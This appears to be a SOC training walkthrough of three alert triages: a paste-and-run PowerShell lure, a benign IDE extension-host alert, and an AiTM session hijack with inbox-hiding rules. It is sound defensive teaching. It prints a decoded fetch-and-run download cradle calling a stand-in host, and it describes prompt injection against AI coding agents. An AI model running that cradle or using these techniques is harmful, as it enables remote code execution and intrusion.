Alert working example

Step 1. Read the detection

Before anything else, the analyst reads what fired and why. The rule correlates three behavioral signals: a script interpreter launched straight from the Windows shell or from an Office process (here explorer.exe → powershell.exe, the edge a command typed or pasted into the Run dialog leaves), -EncodedCommand with -NoProfile (a near-universal indicator of automated execution), and an outbound connection to a low-reputation domain within 30 seconds, read from the web proxy logs. It is a correlation rule built on behavior rather than a signature for one file. Roughly 1 fire in 200 is documented as a false positive (a precision of about 99.5%), and precision is highest when the chain is complete. Three signals in one chain give the analyst a strong prior before the payload is even open.

A currency note: the parent is the Windows shell, not Word. Since Microsoft began blocking macros in internet-sourced Office files by default in 2022, much commodity initial access has moved to LNK and HTML smuggling, fake-update lures, and paste-and-run lures ( ClickFix ClickFix (fake CAPTCHA / paste-and-run) A lure that tells the user to press Win+R (or open a terminal) and paste an attacker command, usually mshta or PowerShell, to "verify they are human" or "fix" an error; the user executes it themselves. , ATT&CK T1204.004, User Execution: Malicious Copy and Paste). A paste-and-run lure delivers no file, so the Mark of the Web Mark of the Web (MOTW) The Zone.Identifier alternate data stream Windows attaches to files that arrive from the internet or by email. Office blocks macros in files that carry it and SmartScreen warns on them, which is why attackers deliver payloads inside containers (ISO, VHD, some archive formats) or through extraction tools that do not pass the mark on (ATT&CK T1553.005). A downloaded payload with no MOTW is worth asking why. and Office’s macro block never come into play: the user runs the command, and the only process between the user and PowerShell is Explorer, which owns the Run dialog. That is why the rule’s first leg names explorer.exe as well as Office.

Step 2. Validate the signal

The four validation checks:

• Technical. The parent-child chain is a common initial-access shape: the Windows shell launches a hidden, encoded PowerShell download cradle with no document or installer in between, which is what a pasted Run-dialog command leaves behind. Commodity loaders and post-exploitation frameworks such as PowerShell Empire EmPyre / Empire Open-source post-exploitation framework with a Python server: PowerShell agents for Windows and Python agents for Linux/macOS (EmPyre, the former Python project, was merged into Empire 2.0). The original project was discontinued and its repository archived in January 2020; BC Security maintains the active fork, which adds C#, IronPython and Go agents. Originally a red-team tool, adopted by various actors. Encrypted C2, evasion techniques, in-memory execution. Less common in the wild than Cobalt Strike, but its presence in a compromise should be treated as a high-risk indicator. share it, so the shape says “staged, automated execution”, not “this actor”.
• Environmental. Finance analysts on this laptop class do not normally invoke PowerShell. The host’s 30-day baseline confirms it.
• Intelligence. The destination domain was registered four days ago (2026-02-27) and carries a free domain-validated TLS certificate issued the same day, visible in Certificate Transparency logs. It has low prevalence and resolves to 203.0.113.77, at a hosting provider that appears repeatedly in commodity-phishing reporting.
• Business. dlin has read access, through federated SSO, to the cloud finance reporting platform, which feeds the vendor payment workflow and stores vendor-contact records, including those of people in the EU. The laptop is a trust pivot toward regulated data: reach, not access, at this point.

All four checks agree the signal is worth a deeper investigation. None is decisive on its own; the combination is.

Step 3. Parse the metadata

Structured extraction from the alert payload:

Web proxy, 2026-03-03 09:10:06 UTC
laptop-finance-09  dlin  CONNECT invoice-records[.]example:443  203.0.113.77
client_port=52071 (EDR network event for chrome.exe pid 3920: local port 52071)

EDR registry event, laptop-finance-09, 09:11:40 UTC
key:      HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
value:    a   written by: explorer.exe (4416)
data:     the command line below, then a decoy "verification" comment

EDR process event, laptop-finance-09, 09:11:41 UTC
process:  powershell.exe          pid: 8128   user: dlin
parent:   explorer.exe            pid: 4416   (dlin's desktop shell)
cmdline:  powershell.exe -NoP -W Hidden -EncodedCommand SQBFAFgAIAAoAE4AZQB3...
decoded:  IEX (New-Object Net.WebClient).DownloadString('https://invoice-records[.]example/upd')

Web proxy, 09:11:43 UTC
laptop-finance-09  dlin  CONNECT invoice-records[.]example:443  203.0.113.77
bytes_in=18432  client_port=52114 (EDR network event for pid 8128: local port 52114)

• Command line. powershell.exe -NoP -W Hidden -EncodedCommand <base64>. The base64 decodes to a one-line download cradle that pulls a script from invoice-records[.]example/upd and runs it in memory.
• Process tree. explorer.exe (PID 4416) → powershell.exe (PID 8128). Explorer is the parent because the Run dialog belongs to it. One second before the launch, Explorer wrote the same command line to dlin’s RunMRU key, the history of commands run from Win+R, followed by a comment dressed up as a verification code. Ninety-five seconds earlier, at 09:10:06 UTC, Chrome opened a page on the same domain. A browser visit, then a Run-dialog command that pulls from the site just visited, is the shape of a paste-and-run lure: a fake check that tells the user to paste a command it has already put on the clipboard. The analyst does not open the link to look at the page. It is live attacker infrastructure, and the RunMRU value already shows what the page asked for.
• Network. 09:11:43 UTC: through the web proxy, a connection to invoice-records[.]example:443 (203.0.113.77), 18,432 bytes in. Valid domain-validated certificate issued 2026-02-27. Short connections follow at 09:11:57 and 09:12:29, then roughly every 30 seconds: a beacon, still running.
• File system. %TEMP%\upd.ps1 written at 09:11:44 UTC by powershell.exe (PID 8128), one second after the transfer: the in-memory stage writing a copy of itself to disk. SHA-256 captured. PID 8128 is still running.
• Identity. Active session: dlin@corp. Logon type 2 (interactive). MFA satisfied at the 09:08 interactive login.

What a less experienced analyst could miss: reading “MFA satisfied” as evidence the account is safe. MFA proved a human logged in at 09:08; it says nothing about what ran under that session three minutes later. The alert is about post-authentication behavior, and clean authentication does not weaken it.

Step 4. Frame the hypothesis

Alert finishes by stating the hypothesis the next phases will test. Working hypothesis: an attacker emailed a link to a fake verification page; dlin opened it, followed the page’s instruction to paste a command into the Run dialog, and so launched the PowerShell stage herself; the stage pulled a script from a recently registered domain and is beaconing to it now. The shape is a common commodity-loader pattern; it does not identify an actor. Alternatives tested: an authorized red-team exercise or phishing simulation (none on the security calendar this week, checked at 09:22) and an IT or admin script, including a command IT support gave dlin to run (no PowerShell under this user in 30 days, no open help-desk ticket for dlin, and nothing in the decoded cradle resembles IT tooling). Both are ruled out.

The phrasing is deliberate. The analyst is not declaring an incident. They are recording an actionable hypothesis with explicit evidence and known gaps, so Subject knows where to expand the investigation.

Step 5. Hand to Subject

The filled handoff, in the transition’s three deliverables (Steps 1 to 3 are the validated alert):

• Named entities. dlin (user), laptop-finance-09 (host), invoice-records[.]example and 203.0.113.77 (external infrastructure), the originating sender (to come from the message trace).
• Leads for Subject and Uncover. The working hypothesis and its two ruled-out alternatives. Known gaps: the delivery path is inferred from the browser visit and the Run-dialog launch, not yet confirmed by a message trace; nothing is known yet about what the stage did after 09:11:44, or whether anything has used dlin’s federated session. Open questions: who else got the email, did anyone else open it, and did execution follow?
• Flags for Scope, Risk, and the Escalation decision. Scope: regulated data is in reach through the platform (reach only; nothing accessed so far). Control gap for Risk and Documentation: nothing on this laptop blocks a script interpreter launched from the Run dialog. The EDR’s script-control prevention policy is enforced only on a pilot group, and laptop-finance-09 is not in it. Escalation: the escalation tripwire is met. Criterion 1, confirmed malicious activity not fully contained by a control, holds at High confidence: a decoded download cradle, a completed transfer recorded independently by EDR and the proxy, a beacon still running at 09:24, and the alternatives ruled out.
• Depth. Level 1. No pattern entry covers a live download cradle, and regulated data in reach fails the Level 0 gate. Level 2 does not apply yet: one subject, ordinary privilege, a platform in reach but not touched. Any sign that dlin’s session left the laptop moves the case up.
• Confidence. High on the execution chain (EDR process and file events, corroborated by the independent proxy record); delivery path unconfirmed pending the message trace; low on attribution (a shape shared by many commodity loaders and frameworks, with no actor-specific indicator). Labels per the shared rubric.

Step 1. Read the detection

The rule is a cross-platform rule, hand-written logic describing a behavior sequence (rule-based and behavioral), looking for “a helper process running without its sandbox spawns a child that opens an encrypted outbound socket.” It was first written after an engagement against EmPyre, the Python macOS/Linux agent folded into Empire 2.0 in 2017, and later generalized. The lineage is a calibration fact: EmPyre needed Python 2.7, which Apple removed in macOS 12.3 (2022). Current Python- and Node-based macOS implants still match the generalized behavior, but developer tooling produces it far more often: on macOS developer hosts the rule fires about six times as often as on managed productivity laptops, mostly on benign true positives, as the rule’s metadata records. The analyst notes the lower prior before opening the payload. Lower is not zero, and the realistic threat on a developer host now rides inside the signed IDE rather than imitating it: a malicious extension (in July 2025 a fake extension from the Open VSX registry ran in Cursor and preceded the theft of about $500,000 in cryptocurrency, Kaspersky), a rogue MCP Model Context Protocol (MCP) An open protocol for connecting AI assistants and agents to tools and data sources through MCP servers. Each server describes its tools to the model and runs as code the host trusts, so a tampered tool description or an over-scoped token becomes the assistant's problem. Inventory MCP servers like extensions; a signed host does not vouch for them. See AI-assisted triage. server, a poisoned package script, or a coding agent steered by instructions hidden in a file or page it reads ( indirect prompt injection Indirect Prompt Injection An attack that plants instructions in content an AI system will read later (an email, a document, a log field, a web page), so the content steers the model instead of the user (OWASP LLM01:2025; MITRE ATLAS AML.T0051.001). In a SOC the attacker controls much of what an assistant reads, so an assistant with tools or outbound channels can be turned against the case. See Prompt Injection in the B.A.D. glossary and AI-assisted triage. ).

Step 2. Validate the signal

The four validation checks read differently from Case A:

• Technical. The pattern overlaps with Empire’s macOS agent behavior at the surface level. But the binary is signed with Anysphere’s Developer ID and notarized by Apple Notarization Apple’s automated malware scan of software signed with a Developer ID. A notarization ticket shows Apple scanned that exact build; it does not show that the build’s behavior on your host is benign. , it runs from the app bundle in /Applications, and the child’s command line names a script inside that same bundle, not a user-writable staging area. Any admin-group user can write to /Applications, so the path counts only once the MDM record confirms the installed version and hash. And the signature covers the bundle, not which extension or agent action told the host to launch the child.
• Environmental. The host is a managed developer workstation, and Cursor is an approved application the MDM deploys to the developer fleet. Helper-process activity from IDEs is part of the baseline for this host class. Whether this host matches its peers is a question for Uncover; the alert cannot answer it.
• Intelligence. Nothing in current intelligence ties the vendor, the binary’s hash, or the destinations to malicious activity. The TLS destinations (repo42.cursor.sh, api2.cursor.sh) are Cursor-owned hosts on the vendor’s published network allowlist, with valid certificates matching the requested names.
• Business. High stakes if real: the host holds source code and developer credentials, including SSH keys that reach the build environment. That raises the bar for closing; it does not lower the likelihood.

The environmental and intelligence checks point away from compromise and the technical match is surface-level, but the business check says a wrong close would be expensive, so the benign read must be confirmed, not assumed. On the detection axis the alert already reads true positive; the activity axis stays undetermined until Subject and Uncover establish what code the host was running.

What a less experienced analyst could miss: treating “signed and notarized” as a clear on its own. Signed malware exists, and so do stolen certificates; the signature proves who published the binary, not that its behavior is benign. What carries the weight is the combination: signature plus an install the MDM record confirms (version and hash) plus peer-group baseline plus vendor-documented behavior. Any one of those alone is a weaker claim than it feels, and none of them, alone or together, covers the extension code the signed host runs.

Step 3. Parse the metadata

EDR process event, dev-mac-0417, 2026-03-11 14:03:10 UTC
process:  Cursor Helper (Plugin)   pid: 41877   user: user-7f3a (pseudonymized)
parent:   Cursor Helper (Plugin) --type=utility   (the extension host, no sandbox)
image:    /Applications/Cursor.app/Contents/Frameworks/Cursor Helper (Plugin).app/Contents/MacOS/Cursor Helper (Plugin)
script:   /Applications/Cursor.app/Contents/Resources/app/extensions/...
signing:  Developer ID Application: Anysphere (Team ID verified), notarized by Apple

EDR network events, 14:03:11 UTC
pid 41877 -> repo42.cursor.sh:443   TLS, certificate valid for the requested name
pid 41877 -> api2.cursor.sh:443     TLS, certificate valid for the requested name

• Command line. The parent is the extension host, Cursor Helper (Plugin) —type=utility, vendor-standard. The child (PID 41877) is the same binary running a script from /Applications/Cursor.app/Contents/Resources/app/extensions/, the built-in extensions directory inside the app bundle.
• Process tree. launchd → Cursor (main app, 14:03:02) → the extension host (14:03:09, no sandbox) → the child (14:03:10), which made the TLS connections at 14:03:11. In VS Code-family editors such as Cursor, the extension host legitimately launches processes of its own. Every Cursor binary in the chain is signed by Anysphere (Developer ID) and notarized by Apple; launchd is Apple’s platform-signed init process.
• Network. TLS connections only to Cursor-owned domains on the vendor’s published network allowlist (*.cursor.sh, *.cursorapi.com), all with valid certificates matching the requested names. No direct connections to third-party model providers, which is expected: Cursor routes model requests through its own backend.
• File system. Reads inside the open workspace and Cursor’s application support directory (~/Library/Application Support/Cursor). No writes outside expected paths, and no reads of credential paths in the alert’s event window.
• Identity. Active session: a frontend engineer, standard user, no admin rights. SSO sign-in at 09:14 with FIDO2 second factor.

Step 4. Frame the hypothesis

Working hypothesis: the rule correctly recognized a behavior that overlaps with Empire-style macOS tradecraft. The binary, signature chain, install record, and behavioral baseline all suggest this is the IDE’s extension host doing its documented job, not adversary tooling. Signer and path do not settle it on their own, because the IDE runs extension code, MCP servers and agent commands the signature does not vouch for. Subject and Uncover will either confirm the benign read or surface signals that override it.

The hypothesis is deliberately not “definitely not malicious.” The Alert phase records what the evidence permits, not what the analyst feels.

Step 5. Hand to Subject

Subject inherits a narrower starting point than in Case A, with explicit caveats:

• Named entities. The frontend engineer (user), the macOS laptop (host), Cursor Helper (Plugin) and its child process (binary), Cursor’s vendor endpoints (external).
• Leads for Subject and Uncover. Favored: a bundled Cursor extension doing its documented job. Competing: a malicious or newly updated extension, an MCP server or workspace task riding the signed host, or an agent action the user did not intend; the extension inventory and the child’s script path separate them. Open questions: which extension or agent action owned the child, whether the peer match holds at depth (same Cursor version, extensions, and destinations over 30 days), and what discriminators would make a pattern entry for this rule safe.
• Flags for Scope, Risk, and the Escalation decision. No escalation criterion confirmed or suspected. Regulated data: none on its face. Business stakes High (SSH reach into the build environment). Calibration lead for Documentation: the rule’s roughly six-times benign-fire rate on developer hosts.
• Depth. Level 2. No pattern entry covers this rule on this host class. The child ran with the user’s file rights and an encrypted outbound channel on a host whose SSH keys reach the build environment, so until credential-path reads are ruled out, crown-jewel access by the activity is plausible, not merely reachable.
• Confidence. Medium on the binary identity and signature chain (EDR signing status only so far; Subject corroborates against the MDM record). Low on what the extension host was running, because nothing has examined the extension layer yet. Unexamined means low confidence, not low likelihood. Labels per the shared rubric.

Step 1. Read the detection

The rule is a two-signal correlation: an IdP risk event (session token presented from a new autonomous system Autonomous System Number (ASN) A globally unique number identifying a network routed under a single operator, such as an ISP, cloud provider, or hosting company. During enrichment the ASN behind an IP address tells the analyst who operates it, which is how a connection resolves to a residential ISP, a corporate egress, or a hosting range with a reputation for abuse. with a mismatched browser fingerprint, meaning the user agent and device details) joined to a new inbox rule created on the same account within 30 minutes. Either signal alone is noisy: travel and VPNs trip the first, and users create mail rules all day. Together they describe one specific attack: a stolen session being used, then hidden.

Nothing here shares a host or a PID. The two events are joined on the account and the session, as the cloud and identity parsing page teaches. Measure the 30-minute window on each event’s own timestamp, not its SIEM arrival time: tenant audit records can land long after the events they describe. Here both signals arrived in time; the mail-access records Uncover needs later do not.

Step 2. Validate the signal

The four validation checks:

• Technical. The 09:03 presentation reused an existing session token: no password entry, no MFA Multi-Factor Authentication (MFA) Security system requiring two or more verification methods to grant access, combining something you know, have, or are. Not all MFA is equal. OTP codes, SMS and push approvals can be relayed by adversary-in-the-middle phishing proxies, worn down by push bombing (MFA fatigue), or bypassed by SIM swap and help-desk resets. A stolen session token skips MFA entirely. Phishing-resistant factors (FIDO2 security keys, passkeys, certificate-based auth) bind the login to the real site's origin and defeat AiTM. In triage, "MFA was satisfied" is evidence about the factor, not about the person. prompt. A legitimate sign-in from a new device would have needed a fresh authentication ceremony (under rvega’s policy, password plus MFA). Token reuse without one is the signature of session hijack Session Hijack Taking over an active session by stealing or guessing session tokens or cookies, bypassing authentication and MFA. via a stolen cookie. The token did not come from her 08:47 laptop session: it was issued at 08:53 to a sign-in from a hosting IP, a minute after a link click, which is exactly where an adversary-in-the-middle Adversary-in-the-Middle (AiTM) A phishing technique in which a kit relays the victim's real sign-in through an attacker-run proxy, capturing the password and the session cookie the identity provider issues after MFA. The attacker then replays the cookie from their own infrastructure, so MFA is satisfied once, by the victim, and never asked again. Push, SMS and OTP factors do not stop it; phishing-resistant factors (FIDO2 security keys, passkeys) do, because they are bound to the real site's origin. Triage tells: a sign-in from a hosting ASN minutes after the user's own, the same session presented from two networks, and a newly registered lookalike domain in the click path. ATT&CK T1557, ATT&CK T1539. proxy would have obtained it.
• Environmental. rvega’s 90-day sign-in baseline, read from the SIEM copy, is two devices, one city, one ASN. The 08:53 sign-in and the 09:03 presentation are each a first for their ASN, and 09:03 is also a first for geography and fingerprint. The 08:47 sign-in was normal in every respect.
• Intelligence. Both source IPs belong to hosting providers whose ranges appear in current reporting on AiTM phishing kits AiTM Phishing Adversary-in-the-middle phishing: a kit proxies the real login page, so the victim completes their own password and MFA prompts while the proxy captures the resulting session cookie. , which proxy the real login page, relay the password and the MFA approval as the user types them, and capture the session cookie the real service issues.
• Business. rvega’s mailbox holds customer contract and billing threads. Customer-billing mailboxes are a common staging ground for payment-redirect fraud ( business email compromise Business Email Compromise (BEC) Phishing's no-payload variant: an email impersonating an executive, vendor, or counterparty that asks the recipient to move money or change payment details. With no attachment to detonate and no link to rewrite, gateway verdicts stay quiet; the evidence lives in lookalike domains, display-name and reply-to mismatches, and hijacked threads sent from a compromised counterparty's real mailbox. Consistently among the costliest crime types by reported losses in the FBI IC3 Internet Crime Reports (about $3 billion in the 2025 report). , or BEC) in industry reporting, and the mailbox contents are customer personal data with regulatory weight.

All four checks point the same direction, and none of them required an endpoint.

Step 3. Parse the metadata

Structured extraction, from identity and tenant logs instead of a process tree:

IdP sign-in log (SIEM copy), user rvega, 2026-03-12
08:47:19 UTC  interactive     ip: home ASN                  device: corporate laptop
              mfa: satisfied  session: S1
08:53:37 UTC  interactive     ip: 203.0.113.41 (AS64501)    user_agent: her usual browser
              mfa: satisfied (push)  session: S2
09:03:12 UTC  session reuse   ip: 198.51.100.77 (AS64502)   user_agent: new   device: unregistered
              mfa: none        session: S2   risk: flagged (policy in report-only mode)

Email gateway
08:52:41 UTC  click  rvega  url: docs-share-portal[.]example/...  verdict: pending

Tenant audit log
09:06:55 UTC  New-InboxRule  user: rvega  session: S2  client_ip: 198.51.100.77
              name: "."  subject_or_body_contains: invoice, payment, bank
              move_to_folder: RSS Subscriptions  mark_as_read: true
09:09:30 UTC  Consent to application  app: "Mail Backup Sync" (unverified publisher)
              scopes: Mail.Read, offline_access  session: S2  client_ip: 198.51.100.77

• Sign-in chain. 08:47:19 UTC, corporate laptop, MFA satisfied, home ASN: session S1. 08:52:41, click on a “shared document” link to docs-share-portal[.]example, recorded by the email gateway. 08:53:37, interactive sign-in from 203.0.113.41 (hosting ASN AS64501) carrying her browser’s user agent, password and MFA push satisfied: session S2 issued. 09:03:12, session S2 presented from 198.51.100.77 (a VPS on AS64502, another country), new fingerprint, no MFA event.
• Tenant audit. 09:06:55 UTC, new inbox rule named . (a single dot): messages containing “invoice”, “payment”, or “bank” moved to the RSS Subscriptions folder and marked as read. The audit record carries session S2 and the VPS IP: a second, independent source for the replay.
• Consent grant. 09:09:30 UTC, consent to an unverified application named “Mail Backup Sync” with Mail.Read and offline_access scopes, from the same session.
• Identity. rvega, customer-success lead. No admin roles. MFA by push approval, and Conditional Access requires neither a compliant device nor token protection. Access to the CRM and the shared billing mailbox via group membership.

What a less experienced analyst could miss: the session field, and the minute before it. Read as separate sign-ins, 08:47, 08:53 and 09:03 look like a normal morning, a second device, and a VPN. Read by session, they are a theft: an MFA-satisfied sign-in from a hosting ASN a minute after a link click is the capture, and the same session ID resurfacing from a second network with no authentication ceremony is the replay. That join is the difference between closing this as travel noise and catching the intrusion.

Step 4. Frame the hypothesis

Working hypothesis: rvega followed a phishing link to an AiTM proxy that relayed her 08:53 sign-in, password and MFA approval included, and captured the session cookie the service issued; the attacker replayed that session from a VPS at 09:03, created an inbox-hiding rule to conceal payment-themed mail, and granted consent to an OAuth application for persistent mailbox access. The pattern matches current business-email-compromise staging: the attacker is positioning to read and eventually redirect payment conversations.

As in Case A, the full story is still a hypothesis with named evidence. The difference is that its core, an attacker operating rvega’s mailbox through a replayed session, already rests on two independent sources, and that matters in Step 5.

Step 5. Check the escalation tripwire and hand off

Before the handoff, the analyst checks the escalation tripwire, because a criterion confirmed in any phase escalates the case from that phase.

• Confidence. High that an attacker is operating rvega’s mailbox through a replayed session: the IdP log shows S2 issued through a hosting IP and replayed from the VPS, the tenant audit independently shows S2 creating the rule and the consent, and a 09:19 phone call rules out the alternatives (rvega is at her desk on the laptop, uses no VPN, created no rule, approved no app, and remembers a push prompt right after opening a shared-document link). Medium on AiTM delivery (strong inference, pending the gateway’s URL verdict). Labels per the shared rubric.
• Flags. Criterion 1, confirmed malicious activity not fully contained by a control: met. The IdP’s risk policy flagged the session but runs in report-only mode, so nothing blocked it, and the session is still live. Provisional impact: high, a mailbox of customer personal data with delegate rights on the billing mailbox. Control gaps for Risk and Documentation: push MFA rather than a phishing-resistant method, no device-compliance or token-protection requirement, a risk policy in report-only mode, and a tenant consent setting that let a user approve an unverified publisher.
• Decision. The escalation tripwire fires at 09:22: P1 by criterion, recorded as an early Escalation decision. The IR lead is paged by pager and phone bridge, not tenant email or chat, because the mail tenant is the compromised system.
• Depth. Level 2. An attacker reading a mailbox of customer personal data, with a consented Mail.Read app, makes access to regulated data plausible, not merely reachable.
• Named entities. rvega (user), session S2, the proxy IP 203.0.113.41, the VPS IP 198.51.100.77, the inbox rule named ., the “Mail Backup Sync” OAuth application, and the lure domain docs-share-portal[.]example from the 08:52 gateway record.
• Open questions. Who else received the same link, and did anyone else reach the credential step? What has the consented app already read? Did the attacker register MFA methods or devices?

The analyst preserves the volatile evidence first (09:22 to 09:24), then runs the reversible actions on the pre-authorized list (09:24 to 09:27), and Subject continues from 09:32 as scoping support under IR’s clock. The Escalation decision example walks through the escalation itself.